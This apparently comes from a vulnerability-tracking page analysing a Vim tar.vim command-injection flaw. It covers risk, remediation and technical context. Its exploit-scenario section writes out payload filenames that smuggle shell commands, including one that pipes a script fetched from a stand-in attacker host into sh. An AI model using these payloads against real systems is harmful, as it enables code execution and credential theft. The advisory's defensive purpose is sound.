Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessCraft malicious .tgz with shell metacharacters in filename
-
DeliverySocial engineer victim to download file
-
ExploitVictim opens archive in Vim
-
Executiontar.vim plugin invokes tar#Vimuntar()
-
PersistUnsanitized filename triggers cmdline expansion
-
ImpactInjected shell commands execute with user privileges
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK
2 techniques across 1 tactic: Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Exploitation requires the victim to open a .tgz or .tar.gz archive file with a specially crafted filename in Vim on a Unix-like operating system where the tar.vim plugin is enabled (default configuration). The user must either use the :e command to open the archive or use Vim's netrw file browser to navigate to the malicious file. The filename must survive filesystem operations-some environments or transfer protocols may sanitize or reject filenames containing shell metacharacters (quotes, semicolons, dollar signs, percent signs) before the file reaches the victim. The vulnerability does NOT work with plain .tar archives or other compression formats, only .tgz/.tar.gz that trigger the affected gunzip/gzip code path. Exploitation is limited by user interaction requirements-victims must consciously choose to open the suspicious file, and many users would notice unusual characters in filenames during normal file operations. Does not affect Windows systems as the vulnerable Unix gunzip/gzip commands are not invoked. Systems with the tar plugin disabled via vimrc configuration are immune. |
| Impact | Despite CWE-78 classification and command injection capability, real-world risk is constrained by multiple factors that create a low practical exploitation profile. CVSS 3.6 (Low) accurately reflects limited impact: AV:L requires local file access, AC:H indicates complex exploitation conditions (user must specifically open a maliciously-named .tgz archive in Vim), UI:R mandates victim interaction, and S:U confines impact to the user's privilege context. The attack cannot be remotely delivered or automated at scale. EPSS data not provided, but similar UI-dependent local injection flaws typically score under 1% exploitation probability. No CISA KEV listing confirms no evidence of active exploitation. The GitHub test case (';%$(touch pwned)'.tgz) demonstrates proof-of-concept but requires social engineering to trick users into opening archives with suspicious filenames-most users would notice quotes and shell metacharacters in a filename before opening. The confidentiality and integrity impacts are Low with no availability impact (C:L/I:L/A:N), meaning attackers gain limited code execution within an already-compromised user session. This is more a defense-in-depth issue than a critical remote exploit. Primary risk exists in automated archive processing pipelines or shared development environments where users routinely open untrusted archives, but even there, the filename must survive filesystem operations that may sanitize special characters. |
| Exploit ScenarioDerived | An attacker creates a malicious .tgz archive with a crafted filename like ';$(malicious_command)'.tgz or '%:!curl attacker.com|sh'.tgz and delivers it to a target user via email attachment, file share, or software repository. When the victim opens the file in Vim (either by explicitly launching 'vim malicious.tgz' or through Vim's file browser), the tar.vim plugin activates and calls tar#Vimuntar() to decompress the archive. The unsanitized filename triggers Vim's cmdline-special expansion before shell execution, causing the embedded shell commands to execute with the user's privileges. The test case in the commit diff demonstrates this with ';%$(touch pwned)'.tgz creating a proof-of-concept file. Attackers could exfiltrate SSH keys, install backdoors, or pivot to other systems accessible to the victim's account. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – May 15, 2026
Command injection in Vim 9.x text editor allows local attackers to execute arbitrary shell commands when a user opens specially crafted .tgz archive filenames. The vulnerability exploits insufficient sanitization in the tar#Vimuntar() function's shellescape() call, enabling cmdline-special character expansion. Exploitation requires user interaction (opening the malicious archive) and high attack complexity (filename manipulation), limiting real-world risk despite the command injection class. Fixed in version 9.2.0479 via GitHub commit 3fb5e58f. No evidence of active exploitation or public POC beyond the vendor's test case.
RemediationAI
Upgrade to Vim version 9.2.0479 or later, which includes the shellescape sanitization fix from commit 3fb5e58fbc63d86a3e65f1a141b0d67af2aa38a1. The fix is available through the official Vim GitHub release at https://github.com/vim/vim/releases/tag/v9.2.0479 and should propagate to distribution package managers (apt, yum, brew, ports) within normal update cycles. For environments unable to immediately upgrade, disable the tar.vim plugin by adding 'let g:loaded_tar = 1' to vimrc configuration before any archives are opened-this prevents the vulnerable code from loading but removes archive browsing functionality entirely. As a compensating control, implement filename validation in any scripts or workflows that programmatically open archives in Vim, rejecting filenames containing shell metacharacters (quotes, backticks, dollar signs, semicolons, percent signs). This workaround has the side effect of preventing legitimate use of special characters in archive names. User training to avoid opening archives with suspicious filenames provides defense-in-depth but is not technically enforceable. The patch has no known side effects and maintains backward compatibility with normal archive handling.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
The vulnerability resides in Vim's tar.vim autoload plugin, specifically the tar#Vimuntar() function that handles .tgz archive decompression on Unix-like systems. The function constructs shell commands (!gunzip and !gzip -d) by concatenating user-controlled input (the archive filename) using Vim's shellescape() function without the {special} flag. This omission allows Vim's cmdline-special characters (such as %, #, <cword>) to be expanded before shell execution, enabling command injection through filename manipulation. The fix adds the {special} flag (value 1) to shellescape() calls, preventing cmdline expansion and treating special characters as literal strings. This is a classic example of CWE-78 (OS Command Injection) where insufficient neutralization of special elements occurs in a command construction context. The commit diff shows the minimal two-line change adding the missing sanitization parameter.
Know when Vim gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:L/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:N
Primary rating from GitHub Advisory · only source for this CVE.
CVSS VectorGitHub Advisory
Lifecycle Timeline
1DescriptionGitHub Advisory
Vim is an open source, command line text editor. Prior to 9.2.0479, a command injection vulnerability exists in tar#Vimuntar() in runtime/autoload/tar.vim when decompressing .tgz archives on Unix-like systems. The function builds :!gunzip and :!gzip -d commands using shellescape(tartail) without the {special} flag, allowing a crafted archive filename to trigger Vim cmdline-special expansion and execute shell commands in the user's context. This vulnerability is fixed in 9.2.0479.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
OS command injection occurs when an application passes unsanitized user input directly into system shell commands.
Heap-based Buffer Overflow in GitHub repository vim/vim prior to 9.0.0765. Rated critical severity (CVSS 9.8), this vuln
Use of Out-of-range Pointer Offset in GitHub repository vim/vim prior to 8.2.4440. Rated high severity (CVSS 8.8), this
Code execution vulnerability in Vim before 9.2.0272 allows attackers to gain immediate arbitrary command execution upon
getchar.c in Vim before 8.1.1365 and Neovim before 0.3.6 allows remote attackers to execute arbitrary OS commands via th
vim is vulnerable to Heap-based Buffer Overflow. Rated high severity (CVSS 8.0), this vulnerability is remotely exploita
Use after free in append_command in GitHub repository vim/vim prior to 8.2.4895. Rated high severity (CVSS 7.8), this vu
Heap-based Buffer Overflow in function cmdline_erase_chars in GitHub repository vim/vim prior to 8.2.4899. Rated high se
vim is vulnerable to Heap-based Buffer Overflow. Rated high severity (CVSS 7.8), this vulnerability is no authentication
vim is vulnerable to Heap-based Buffer Overflow. Rated high severity (CVSS 7.8), this vulnerability is no authentication
vim is vulnerable to Heap-based Buffer Overflow. Rated high severity (CVSS 7.8), this vulnerability is no authentication
Heap-based Buffer Overflow in GitHub repository vim/vim prior to 8.2. Rated high severity (CVSS 7.8), this vulnerability
Out-of-bounds Read in GitHub repository vim/vim prior to 8.2. Rated high severity (CVSS 7.8), this vulnerability is no a
EUVD-2026-30542
NVD
CVE.org
EPSS
Vulnrichment
GitHub
VulDB
Exploit-DB